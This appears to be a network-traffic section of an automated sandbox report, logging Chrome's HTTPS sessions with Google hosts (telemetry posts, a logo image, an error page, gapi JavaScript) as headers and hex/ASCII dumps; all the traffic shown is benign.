2024-12-20 00:21:31 UTC	435	IN	Data Raw: 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 31 30 30 25 20 31 30 30 25 7d 7d 23 6c 6f 67 6f 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 68 65 69 67 68 74 3a 35 34 70 78 3b 77 69 64 74 68 3a 31 35 30 70 78 7d 0a 20 20 3c 2f 73 74 79 6c 65 3e 0a 20 20 3c 61 20 68 72 65 66 3d 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 3e 3c 73 70 61 6e Data Ascii: pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px} </style> <a href=//www.google.com/><span

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49806	142.250.181.110	443	2056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:21:31 UTC	999	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 1862 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-Type: application/binary Content-Encoding: gzip sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://drive.google.com X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://drive.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=520=ft3_auKYdOmwtta67v9Ln1tCJLnBLXSR_kBjLSyysgp_j0uX1GSIzCUHdtri4jwe5AHuoum3fh908mhF7j3D2oigQ4bbygoILw8PY5GLVgfNyPJz-QB5WQepBASh8Px_cGj_E96CBVqjkbWN8DeK5Lr1JQ581uxFm5e5Kh-ucCQ7AzdfcB8FpFllqrfESbY
2024-12-20 00:21:31 UTC	1862	OUT	Data Raw: 1f 8b 08 00 00 00 00 00 00 0a ed 98 5d 6f 5b 37 12 86 ff 8a a0 ab 16 10 6c 92 f3 41 12 c1 5e a4 bd 48 83 36 5d 2c da dd 14 90 8d 85 63 cb 8e 1a d9 72 1c bb 4d f2 eb fb ce 70 8e 62 3b c1 a6 d9 a2 45 81 16 82 75 1e 0f 87 c3 21 67 38 e4 d1 72 99 17 17 37 9b cd af fe 5a fe 6a c5 e5 72 fe 68 bb 3d db ac 66 5f 3e bf da 9e af e6 8b 79 ce 75 7e b8 58 ce bf dd 5e 3f 78 f8 8f 2f ae 8e 2e 4e 20 6d 2e 73 a5 f5 cd f9 a4 76 b8 48 8b f9 d3 f5 c5 c9 f6 e7 57 26 4b 7b f8 00 5e 37 c5 f7 d0 82 48 3a b5 bd 4c c5 6c 30 ba f8 e7 10 bd 73 eb f0 61 9e 2b b1 0a a7 d6 44 ca fc 23 3e cf e1 f4 bb ff da 27 ce f8 af fb b5 5c 1e cc d3 1b 5e f3 f6 24 e9 cd 55 c9 3d 9d fd a4 6f 37 a7 f9 74 75 fc e6 5c 92 ae 9f df a4 6d 7e 76 7c b5 e1 f3 9c d7 55 cb 55 ba de 1e bd 7c 7d b4 77 79 b6 ae a9 Data Ascii: ]o[7lA^H6],crMpb;Eu!g8r7Zjrh=f_>yu~X^?x/.N m.svHW&K{^7H:Ll0sa+D#>'\^$U=o7tu\m~v\|UU\|}wy
2024-12-20 00:21:32 UTC	496	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://drive.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Content-Type: text/plain; charset=UTF-8 Date: Fri, 20 Dec 2024 00:21:32 GMT Server: Playlog X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-20 00:21:32 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-12-20 00:21:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49808	142.250.181.132	443	2056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:21:32 UTC	981	OUT	GET /images/branding/googlelogo/1x/googlelogo_color_150x54dp.png HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=520=ft3_auKYdOmwtta67v9Ln1tCJLnBLXSR_kBjLSyysgp_j0uX1GSIzCUHdtri4jwe5AHuoum3fh908mhF7j3D2oigQ4bbygoILw8PY5GLVgfNyPJz-QB5WQepBASh8Px_cGj_E96CBVqjkbWN8DeK5Lr1JQ581uxFm5e5Kh-ucCQ7AzdfcB8FpFllqrfESbY
2024-12-20 00:21:33 UTC	671	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Type: image/png Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="static-on-bigtable" Report-To: {"group":"static-on-bigtable","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/static-on-bigtable"}]} Content-Length: 3170 Date: Fri, 20 Dec 2024 00:21:33 GMT Expires: Fri, 20 Dec 2024 00:21:33 GMT Cache-Control: private, max-age=31536000 Last-Modified: Tue, 22 Oct 2019 18:30:00 GMT X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-20 00:21:33 UTC	719	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 96 00 00 00 36 08 06 00 00 00 25 1d 60 0c 00 00 0c 29 49 44 41 54 78 da ed 5d 0b 70 54 d5 19 3e 98 6c 00 1f 88 da 97 b5 82 62 ad 14 28 48 76 37 20 44 37 f7 6e 08 38 83 a2 a5 b4 56 ab a5 48 5f 82 52 3b 53 1f 68 59 60 77 13 28 b6 d5 2a b6 4e 5f 52 ab 22 30 60 a9 2d e6 41 a9 1d 7c b4 2a 4e c5 fa 60 b0 a8 80 ec 6e 02 84 7b ef 26 90 84 6c ff 6f e0 0e 3b 9b ff de bd 8f 84 61 9a f3 cd 9c d9 64 ef dd 24 e7 f0 9d ff f1 fd ff b9 08 09 09 09 89 fe 89 e9 b1 dc e9 4a 9d 31 ae 2a 91 9d a1 d4 1a 37 2b 09 63 8e 9a d4 6f a0 a1 54 2f cf 7e 56 e4 72 03 84 84 84 13 44 eb da 47 a8 49 63 11 91 e7 e5 aa b8 d6 45 5f e7 ac 46 55 52 db a3 26 f4 df 55 25 8c a9 b1 58 ee 34 21 21 51 88 48 22 3b 91 c8 f4 1c 08 e3 65 28 49 63 07 Data Ascii: PNGIHDR6%`)IDATx]pT>lb(Hv7 D7n8VH_R;ShY`w(N_R"0`-A\|N`n{&lo;ad$J1*7+coT/~VrDGIcE_FUR&U%X4!!QH";e(Ic
2024-12-20 00:21:33 UTC	1390	IN	Data Raw: df d8 08 c8 2f 44 6b db ae 38 9e 54 fd 99 be 7f 2b 7f f8 25 56 73 34 14 ce 44 43 1b 52 d1 60 a7 f5 5a 06 df c2 e6 05 c1 bc 0a a2 1f 30 13 5b 29 4e 21 a4 ab 83 95 19 25 fc 3e 26 ec 62 ec 24 92 4d 12 0e d1 d1 50 1a 21 c2 fc 97 21 92 1d c1 de 27 4b 76 a5 e3 b5 4e 64 af a1 b5 6d 76 52 fa 3a 96 4c e9 0b e8 eb 77 0b af 79 25 d6 8e 69 9f 1f 48 eb f2 b0 bb 75 0c d5 ef 89 86 cf 73 dd 53 65 31 b1 5b c5 29 02 22 c7 cd 29 25 d8 85 49 ba 1d d8 91 f8 bc 28 82 23 4d 81 d9 34 ba 40 16 b7 03 9f 23 17 f9 cd e2 1b 58 9f e7 84 50 3c c1 fc 13 6b df 94 b1 67 a4 95 f0 16 4f eb a8 86 df 49 a9 13 3e 2d 9c 02 a2 27 1f 5f e9 51 e1 12 54 ea 79 0f 3d 5a 9e 47 52 7b 5d 14 80 26 74 7d 2a 1a ee c6 e4 bc 8e 94 12 3e 4a 04 9b 21 2c d0 d9 58 36 f3 48 43 a0 1b 24 f1 3a 8e 7d be ec 7a bb da Data Ascii: /Dk8T+%Vs4DCR`Z0[)N!%>&b$MP!!'KvNdmvR:Lwy%iHusSe1[)")%I(#M4@#XP<kgOI>-'_QTy=ZGR{]&t}*>J!,X6HC$:}z
2024-12-20 00:21:33 UTC	1061	IN	Data Raw: ab 50 1a 37 9a 50 9e f0 62 0d d1 67 44 a4 6d b3 e8 52 9d 27 0a 80 0c 90 57 cf 83 f3 85 03 40 9a e0 3e 0f 51 30 cf 8d 8d 03 11 18 1d ea 36 e1 00 74 df 9d 6c 69 a7 3e 30 e6 84 85 36 ca 2d d6 73 a1 28 82 e0 63 b9 00 e9 89 af f4 89 40 0a 0f a0 56 28 a2 38 b0 c9 6f 43 dc d5 5c 13 1c e9 cf 25 26 8c 47 6d ca 2e 59 22 c2 4f 6a e2 6d 17 8a 22 40 f0 8a 62 36 7a 8b ac 7f 9e be d1 aa ac 01 cd 89 31 dd 5d e8 11 2a a2 5f cd c6 7d 4c 91 f5 2f 8c 5c d0 c8 65 75 d4 ad 60 2b 09 a0 9b 81 eb 86 a0 f7 36 89 02 70 f3 c7 b9 4d 25 ae 7f dd f6 54 53 42 fb 83 df 92 8e 29 2b c0 42 31 e4 6a a6 8e 85 b1 c2 06 a8 bf a2 62 61 66 d4 10 4f 1d 5a 2f 9e 10 78 4a 4c d1 56 8e b8 b1 15 19 0b 74 19 f4 c6 a3 be 88 7e 23 fa ec 7c 94 2c 68 61 76 db fd 0c ec c6 48 2c 6d 29 b4 c1 6a 99 b2 03 33 d6 Data Ascii: P7PbgDmR'W@>Q06tli>06-s(c@V(8oC\%&Gm.Y"Ojm"@b6z1]*_}L/\eu`+6pM%TSB)+B1jbafOZ/xJLVt~#\|,havH,m)j3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49809	142.250.181.110	443	2056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:21:33 UTC	673	OUT	GET /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=520=CoJHxHY775dVVkRiHnJCVdwtyT34gZ7NdGuOjiUG7mmSq9Q3Rowxp6PbbUGc_vBDA73_43dcIrDNroDrbYi_Q7LhyCRvb4MhAWZ3gmhmurv0f_t_sZveBf0ZNW22FWnzNo1S19q4y4a5faAwI2PJ4a4zoGMx6Q47tRpTqTwlqCQJeZ4w4v-rwKM5IuZuU_U
2024-12-20 00:21:34 UTC	270	IN	HTTP/1.1 400 Bad Request Date: Fri, 20 Dec 2024 00:21:34 GMT Content-Type: text/html; charset=UTF-8 Server: Playlog Content-Length: 1555 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-20 00:21:34 UTC	1120	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 30 20 28 42 61 64 20 52 65 71 75 65 73 74 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 400 (Bad Request)!!1</title> <style> *{margin:0;padding:0}html,code{font:15px/22px arial,sans-
2024-12-20 00:21:34 UTC	435	IN	Data Raw: 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 31 30 30 25 20 31 30 30 25 7d 7d 23 6c 6f 67 6f 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 68 65 69 67 68 74 3a 35 34 70 78 3b 77 69 64 74 68 3a 31 35 30 70 78 7d 0a 20 20 3c 2f 73 74 79 6c 65 3e 0a 20 20 3c 61 20 68 72 65 66 3d 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 3e 3c 73 70 61 6e Data Ascii: pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px} </style> <a href=//www.google.com/><span

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49810	142.250.181.46	443	2056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:21:33 UTC	813	OUT	GET /_/scs/abc-static/_/js/k=gapi.gapi.en.ZpMpph_5a4M.O/m=client/exm=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/rs=AHpOoo_c5__TAiALeuHoQOKG0BnSpdbJrQ/cb=gapi.loaded_1 HTTP/1.1 Host: apis.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=520=ft3_auKYdOmwtta67v9Ln1tCJLnBLXSR_kBjLSyysgp_j0uX1GSIzCUHdtri4jwe5AHuoum3fh908mhF7j3D2oigQ4bbygoILw8PY5GLVgfNyPJz-QB5WQepBASh8Px_cGj_E96CBVqjkbWN8DeK5Lr1JQ581uxFm5e5Kh-ucCQ7AzdfcB8FpFllqrfESbY
2024-12-20 00:21:34 UTC	913	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/social-frontend-mpm-access Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="social-frontend-mpm-access" Report-To: {"group":"social-frontend-mpm-access","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/social-frontend-mpm-access"}]} Content-Length: 209242 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Fri, 20 Dec 2024 00:16:46 GMT Expires: Sat, 20 Dec 2025 00:16:46 GMT Cache-Control: public, max-age=31536000 Last-Modified: Mon, 02 Dec 2024 19:15:50 GMT Content-Type: text/javascript; charset=UTF-8 Vary: Accept-Encoding Age: 288 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-20 00:21:34 UTC	477	IN	Data Raw: 67 61 70 69 2e 6c 6f 61 64 65 64 5f 31 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 5f 2e 42 67 3d 28 77 69 6e 64 6f 77 2e 67 61 70 69 7c 7c 7b 7d 29 2e 6c 6f 61 64 3b 0a 5f 2e 54 6e 3d 5f 2e 42 65 28 5f 2e 4d 65 2c 22 72 77 22 2c 5f 2e 43 65 28 29 29 3b 0a 76 61 72 20 55 6e 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 28 61 3d 5f 2e 54 6e 5b 61 5d 29 26 26 61 2e 73 74 61 74 65 3c 62 26 26 28 61 2e 73 74 61 74 65 3d 62 29 7d 3b 76 61 72 20 56 6e 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 28 61 3d 5f 2e 54 6e 5b 61 5d 29 3f 61 2e 6f 69 64 3a 76 6f 69 64 20 30 3b 69 66 28 61 29 7b 76 61 72 20 62 3d 5f 2e 79 65 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 61 29 3b 62 26 26 62 2e 70 61 72 65 6e 74 4e 6f 64 65 Data Ascii: gapi.loaded_1(function(_){var window=this;_.Bg=(window.gapi\|\|{}).load;_.Tn=_.Be(_.Me,"rw",_.Ce());var Un=function(a,b){(a=_.Tn[a])&&a.state<b&&(a.state=b)};var Vn=function(a){a=(a=_.Tn[a])?a.oid:void 0;if(a){var b=_.ye.getElementById(a);b&&b.parentNode
2024-12-20 00:21:34 UTC	1390	IN	Data Raw: 78 22 3a 61 2e 73 74 79 6c 65 2e 77 69 64 74 68 7c 7c 22 33 30 30 70 78 22 29 2b 22 3b 6d 61 72 67 69 6e 3a 30 70 78 3b 62 6f 72 64 65 72 2d 73 74 79 6c 65 3a 6e 6f 6e 65 3b 22 7d 3b 0a 5f 2e 59 6e 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 3d 7b 7d 2c 64 3d 61 2e 78 63 28 29 2c 65 3d 62 26 26 62 2e 77 69 64 74 68 2c 66 3d 62 26 26 62 2e 68 65 69 67 68 74 2c 68 3d 62 26 26 62 2e 76 65 72 74 69 63 61 6c 41 6c 69 67 6e 3b 68 26 26 28 63 2e 76 65 72 74 69 63 61 6c 41 6c 69 67 6e 3d 68 29 3b 65 7c 7c 28 65 3d 64 2e 77 69 64 74 68 7c 7c 61 2e 77 69 64 74 68 29 3b 66 7c 7c 28 66 3d 64 2e 68 65 69 67 68 74 7c 7c 61 2e 68 65 69 67 68 74 29 3b 64 2e 77 69 64 74 68 3d 63 2e 77 69 64 74 68 3d 65 3b 64 2e 68 65 69 67 68 74 3d 63 2e 68 65 69 67 68 74 Data Ascii: x":a.style.width\|\|"300px")+";margin:0px;border-style:none;"};_.Yn=function(a,b){var c={},d=a.xc(),e=b&&b.width,f=b&&b.height,h=b&&b.verticalAlign;h&&(c.verticalAlign=h);e\|\|(e=d.width\|\|a.width);f\|\|(f=d.height\|\|a.height);d.width=c.width=e;d.height=c.height
2024-12-20 00:21:34 UTC	1390	IN	Data Raw: 63 74 69 6f 6e 28 65 29 7b 65 3d 65 2e 67 65 74 49 66 72 61 6d 65 45 6c 28 29 3b 65 2e 73 74 79 6c 65 2e 63 73 73 54 65 78 74 3d 5f 2e 58 6e 28 65 29 7d 7d 3b 0a 5f 2e 50 69 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 77 69 6e 64 6f 77 3b 61 3d 28 61 7c 7c 62 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 29 2e 6d 61 74 63 68 28 52 65 67 45 78 70 28 22 2e 2a 28 5c 5c 3f 7c 23 7c 26 29 75 73 65 67 61 70 69 3d 28 5b 5e 26 23 5d 2b 29 22 29 29 7c 7c 5b 5d 3b 72 65 74 75 72 6e 22 31 22 3d 3d 3d 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 61 5b 61 2e 6c 65 6e 67 74 68 2d 31 5d 7c 7c 22 22 29 7d 3b 0a 5f 2e 61 6f 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 61 2e 54 2e 77 68 65 72 65 3d 62 3b 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 62 6f 3d 66 Data Ascii: ction(e){e=e.getIframeEl();e.style.cssText=_.Xn(e)}};_.Pi=function(a){var b=window;a=(a\|\|b.location.href).match(RegExp(".*(\\?\|#\|&)usegapi=([^&#]+)"))\|\|[];return"1"===decodeURIComponent(a[a.length-1]\|\|"")};_.ao=function(a,b){a.T.where=b;return a};_.bo=f
2024-12-20 00:21:34 UTC	1390	IN	Data Raw: 2e 63 6f 6e 74 65 6e 74 3b 5f 2e 6e 6f 5b 63 5d 26 26 64 26 26 28 5f 2e 63 6f 5b 63 5d 3d 64 29 7d 7d 69 66 28 77 69 6e 64 6f 77 2e 73 65 6c 66 21 3d 3d 77 69 6e 64 6f 77 2e 74 6f 70 29 7b 61 3d 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 74 6f 53 74 72 69 6e 67 28 29 3b 66 6f 72 28 76 61 72 20 65 20 69 6e 20 5f 2e 6e 6f 29 5f 2e 6e 6f 5b 65 5d 3e 30 26 26 28 62 3d 5f 2e 47 65 28 61 2c 65 2c 22 22 29 29 26 26 28 5f 2e 63 6f 5b 65 5d 3d 62 29 7d 5f 2e 6f 6f 3d 21 30 7d 65 3d 5f 2e 43 65 28 29 3b 5f 2e 45 65 28 5f 2e 63 6f 2c 65 29 3b 72 65 74 75 72 6e 20 65 7d 3b 71 6f 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3b 61 2e 6d 61 74 63 68 28 2f 5e 68 74 74 70 73 3f 25 33 41 2f 69 29 26 26 28 62 3d 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f Data Ascii: .content;_.no[c]&&d&&(_.co[c]=d)}}if(window.self!==window.top){a=document.location.toString();for(var e in _.no)_.no[e]>0&&(b=_.Ge(a,e,""))&&(_.co[e]=b)}_.oo=!0}e=_.Ce();_.Ee(_.co,e);return e};qo=function(a){var b;a.match(/^https?%3A/i)&&(b=decodeURICompo
2024-12-20 00:21:34 UTC	1390	IN	Data Raw: 2e 61 74 74 72 69 62 75 74 65 73 2e 6c 65 6e 67 74 68 2c 65 3d 30 3b 65 3c 64 3b 65 2b 2b 29 7b 76 61 72 20 66 3d 61 2e 61 74 74 72 69 62 75 74 65 73 5b 65 5d 2c 68 3d 66 2e 6e 61 6d 65 2c 6b 3d 66 2e 76 61 6c 75 65 3b 5f 2e 77 6d 2e 63 61 6c 6c 28 46 6f 2c 68 29 3e 3d 30 7c 7c 63 26 26 68 2e 69 6e 64 65 78 4f 66 28 22 64 61 74 61 2d 22 29 21 3d 30 7c 7c 6b 3d 3d 3d 22 6e 75 6c 6c 22 7c 7c 22 73 70 65 63 69 66 69 65 64 22 69 6e 20 66 26 26 21 66 2e 73 70 65 63 69 66 69 65 64 7c 7c 28 63 26 26 28 68 3d 68 2e 73 75 62 73 74 72 28 35 29 29 2c 62 5b 68 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5d 3d 6b 29 7d 61 3d 61 2e 73 74 79 6c 65 3b 28 63 3d 47 6f 28 61 26 26 61 2e 68 65 69 67 68 74 29 29 26 26 28 62 2e 68 65 69 67 68 74 3d 53 74 72 69 6e 67 28 63 29 29 Data Ascii: .attributes.length,e=0;e<d;e++){var f=a.attributes[e],h=f.name,k=f.value;_.wm.call(Fo,h)>=0\|\|c&&h.indexOf("data-")!=0\|\|k==="null"\|\|"specified"in f&&!f.specified\|\|(c&&(h=h.substr(5)),b[h.toLowerCase()]=k)}a=a.style;(c=Go(a&&a.height))&&(b.height=String(c))
2024-12-20 00:21:34 UTC	1390	IN	Data Raw: 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 2a 22 29 3b 61 3d 5f 2e 43 65 28 29 3b 66 6f 72 28 65 3d 30 3b 65 3c 64 2e 6c 65 6e 67 74 68 3b 65 2b 2b 29 7b 66 3d 64 5b 65 5d 3b 76 61 72 20 6b 3d 66 3b 68 3d 62 3b 76 61 72 20 6c 3d 6b 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2c 6d 3d 76 6f 69 64 20 30 3b 69 66 28 6b 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 67 61 70 69 73 63 61 6e 22 29 29 68 3d 0a 6e 75 6c 6c 3b 65 6c 73 65 7b 76 61 72 20 6e 3d 6c 2e 69 6e 64 65 78 4f 66 28 22 67 3a 22 29 3b 6e 3d 3d 30 3f 6d 3d 6c 2e 73 75 62 73 74 72 28 32 29 3a 28 6e 3d 28 6e 3d 53 74 72 69 6e 67 28 6b 2e 63 6c 61 73 73 4e 61 6d 65 7c 7c 6b 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 63 6c 61 73 73 22 29 Data Ascii: etElementsByTagName("*");a=_.Ce();for(e=0;e<d.length;e++){f=d[e];var k=f;h=b;var l=k.nodeName.toLowerCase(),m=void 0;if(k.hasAttribute("data-gapiscan"))h=null;else{var n=l.indexOf("g:");n==0?m=l.substr(2):(n=(n=String(k.className\|\|k.getAttribute("class")
